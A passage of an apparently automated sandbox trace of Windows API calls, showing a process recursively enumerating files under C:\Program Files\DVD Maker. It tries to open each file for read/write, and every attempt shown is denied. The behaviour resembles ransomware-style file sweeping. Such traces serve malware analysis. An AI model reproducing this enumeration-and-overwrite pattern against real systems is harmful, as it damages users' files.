ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0180.404] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\offset.ax" (normalized: "c:\\program files\\dvd maker\\offset.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.404] GetLastError () returned 0x5 [0180.404] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0180.404] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0180.404] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0180.404] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0180.404] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0180.404] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.405] GetLastError () returned 0x5 [0180.405] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0180.405] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.406] GetLastError () returned 0x5 [0180.406] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0180.406] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.407] GetLastError () returned 0x5 [0180.407] FindNextFileW (in: hFindFile=0x9b65a8, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 1 [0180.407] GetProcessHeap () returned 0x990000 [0180.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x54) returned 0x9e3770 [0180.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6568 [0180.409] GetProcessHeap () returned 0x990000 [0180.409] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9e3770 | out: hHeap=0x990000) returned 1 [0180.409] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.409] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0180.409] GetProcessHeap () returned 0x990000 [0180.409] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x256) returned 0x9b1eb0 [0180.409] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\Common.fxh" (normalized: "c:\\program files\\dvd maker\\shared\\common.fxh"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.409] GetLastError () returned 0x5 [0180.409] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d12cc5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d12cc5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x6895ae5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveAnother.png", cAlternateFileName="")) returned 1 [0180.409] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.410] GetLastError () returned 0x5 [0180.410] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93d38e22, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93d38e22, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68980fb9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb7835, dwReserved0=0x0, dwReserved1=0x0, cFileName="DissolveNoise.png", cAlternateFileName="")) returned 1 [0180.410] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.411] GetLastError () returned 0x5 [0180.411] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdStyles", cAlternateFileName="DVDSTY~1")) returned 1 [0180.411] GetProcessHeap () returned 0x990000 [0180.411] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x68) returned 0x9b0940 [0180.411] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.413] GetProcessHeap () returned 0x990000 [0180.413] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.413] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.414] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0180.414] GetProcessHeap () returned 0x990000 [0180.414] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x26a) returned 0x9ffa00 [0180.414] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.415] GetLastError () returned 0x5 [0180.415] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0180.415] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.416] GetLastError () returned 0x5 [0180.416] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec3e551, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec3e551, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xcf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0180.416] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.416] GetLastError () returned 0x5 [0180.416] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0180.416] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.417] GetLastError () returned 0x5 [0180.417] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec646ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0180.417] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.417] GetLastError () returned 0x5 [0180.417] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0180.417] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.417] GetLastError () returned 0x5 [0180.417] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0180.417] GetProcessHeap () returned 0x990000 [0180.417] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x78) returned 0x9a9d68 [0180.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.419] GetProcessHeap () returned 0x990000 [0180.420] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.420] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.420] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0180.420] GetProcessHeap () returned 0x990000 [0180.420] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x27a) returned 0x9ffc78 [0180.420] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.420] GetLastError () returned 0x5 [0180.420] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0180.420] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.421] GetLastError () returned 0x5 [0180.421] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d6b554, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d6b554, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0180.421] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.421] GetLastError () returned 0x5 [0180.421] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e03ac8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e03ac8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49d12255, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0180.421] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.422] GetLastError () returned 0x5 [0180.422] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e29c25, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e29c25, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2661e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0180.422] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.422] GetLastError () returned 0x5 [0180.422] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70e4fd82, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0180.422] CreateFileW (lpFileName="C:\\Program Files\\DVD 